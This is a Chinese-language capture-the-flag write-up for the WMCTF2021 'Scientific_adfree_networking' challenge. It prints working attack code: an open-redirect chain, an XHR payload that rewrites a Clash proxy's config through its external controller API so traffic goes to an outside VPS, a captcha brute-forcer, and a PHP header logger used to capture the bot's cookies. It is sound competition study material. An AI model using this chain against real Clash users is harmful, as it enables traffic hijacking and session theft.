Contents

[WMCTF2021]Scientific_adfree_networking

WMCTF2021失之交臂的一道题,蛮有意思的

scientific_adfree_networking

打开一个blog,有一条需要登录才可见的Note to self(secret!) 然后看了一下其他信息,简单来说就是tom使用了clash进行屏蔽广告,/static/files/clash.conf可以下载到他使用的配置文件,里面只有屏蔽规则,没有配置代理

然后report路由可以给tom发信息,tom会去看(后面打了半天,客服才说每看完一个请求都会重启clash,然后才把多次请求写在一起)

想了一下这里应该没法xsleak,看他专门描述开了clash,就想能不能控制修改clash的配置文件(看配置文件的时候看到有个external controller API是可控的),然后代理到vps看能不能拿tom的cookie

然后找可控点的时候看到了logout路由可以进行跳转

https://gitee.com/leonsec/images/raw/master/NK8jWXZ.png

于是可以控制一下xhr,打external controller API进行修改,看了一下api文档:

https://clash.gitbook.io/doc/restful-api

除了configs路由的PUT可以控制path重新加载配置文件,没啥可用的

然后就去撕源码,发现同一个路由下居然还有个payload参数可以控制,直接从传输的字节加载配置文件:

https://github.com/Dreamacro/clash/blob/47044ec0d81dc0dc92a2dafc834f2b658177dee8/hub/route/configs.go#L112

然后就直接修改配置文件使用http代理,代理到vps上,后来发现并没有什么卵用

一开始直接nc监听,但是它会先用CONNECT请求判断是否连接成功,所以得伪造一个真代理随便代理到哪都行,然后vps还配置了host防止它请求失败:

1
127.0.0.1 blog.tomswebsite.com

但是它第二次http请求打过来还是没有cookie。。

https://gitee.com/leonsec/images/raw/master/EnOYS2p.png

然后又去看源码找了一下可控文件的地方,api给出的就只有configs的path那个可以控制绝对路径加载配置文件,加载其他文件可以报错泄漏4 5个字符

还有配置文件中proxy-providers的配置,也是指定路径加载配置文件,详细配置:

https://github.com/Dreamacro/clash/wiki/configuration

请求脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import hashlib
import random
import requests
import re
 
path = "logout?next=http://159.75.82.124:9001/1.html"
body = "a"

s = requests.Session()

report_url="http://eci-2zeawo463qlngdj4qxbv.cloudeci1.ichunqiu.com:8888/report"
# proxies = {"http" : "http://127.0.0.1:8080"}

index = s.get(report_url)
gettoken = re.search(r"(==)(.*?)(<input)",index.text)
token = gettoken.group(2)

for i in range(1, 10000001):
    a = hashlib.md5(('WMCTF_'+str(i)).encode()).hexdigest()[:6]
    if a == token:
        print('WMCTF_'+str(i))
        break

data = {
        "title": path,
        "body": body,
        "captcha": 'WMCTF_'+str(i)
}
resp = s.post(index.url,data=data)
gettoken = re.search(r"(class=\"flash\">)(.*?)(</div>)",resp.text)
result = gettoken.group(2)
print(result)

xhr:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<script>
var xhr1;
var xhr2;
var xhr3;
var xhr4;
xhr1=new XMLHttpRequest();
xhr1.open("PUT","http://127.0.0.1:9090/configs",false);
xhr1.setRequestHeader('Content-Type','application/json')
xhr1.send(`{"payload":"mixed-port: 1080\\nallow-lan: false\\nmode: Rule\\nlog-level: silent\\nexternal-controller: '127.0.0.1:9090'\\nproxies:\\n  - name: \\"test\\"\\n    type: http\\n    server: 159.75.82.124\\n    port: 19000\\nproxy-groups:\\n  - name: \\"group1\\"\\n    type: select\\n    proxies:\\n      - test\\nrules:\\n  - DOMAIN-SUFFIX,blog.tomswebsite.com,group1\\n  - IP-CIDR,127.0.0.0/8,group1"}`);
xhr2=new XMLHttpRequest();
xhr2.open("GET","http://blog.tomswebsite.com:8888/report",false);
xhr2.send();
// xhr3=new XMLHttpRequest();
// xhr3.open("GET","http://127.0.0.1:9090/configs",false);
// xhr3.send();
// xhr4=new XMLHttpRequest();
// xhr4.open("GET","http://159.75.82.124:9001/"+xhr3.responseText,false);
// xhr4.send();
</script>
<?php
function em_getallheaders()
{
    $headers = [];
    foreach ($_SERVER as $name => $value) {
        if (substr($name, 0, 5) == 'HTTP_') {
            $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
        }
    }
    return $headers;
}
$headers = em_getallheaders();
file_put_contents("headers.txt", var_export($headers,true)."\n", FILE_APPEND | LOCK_EX);
?>

以上是比赛时的做题记录,当时光顾着看代理服务接收请求的cookie了,没注意代理后的流量emmm,还觉得后续可能没那么简单,肝了一下午后没有再看这道题了

https://gitee.com/leonsec/images/raw/master/ceeb653ely1gm1l440lqpj20ku0kl41y-20210908185648546.jpg

实际上代理转发后的流量是带了cookie的,获取到cookie然后解码登录admin拿到flag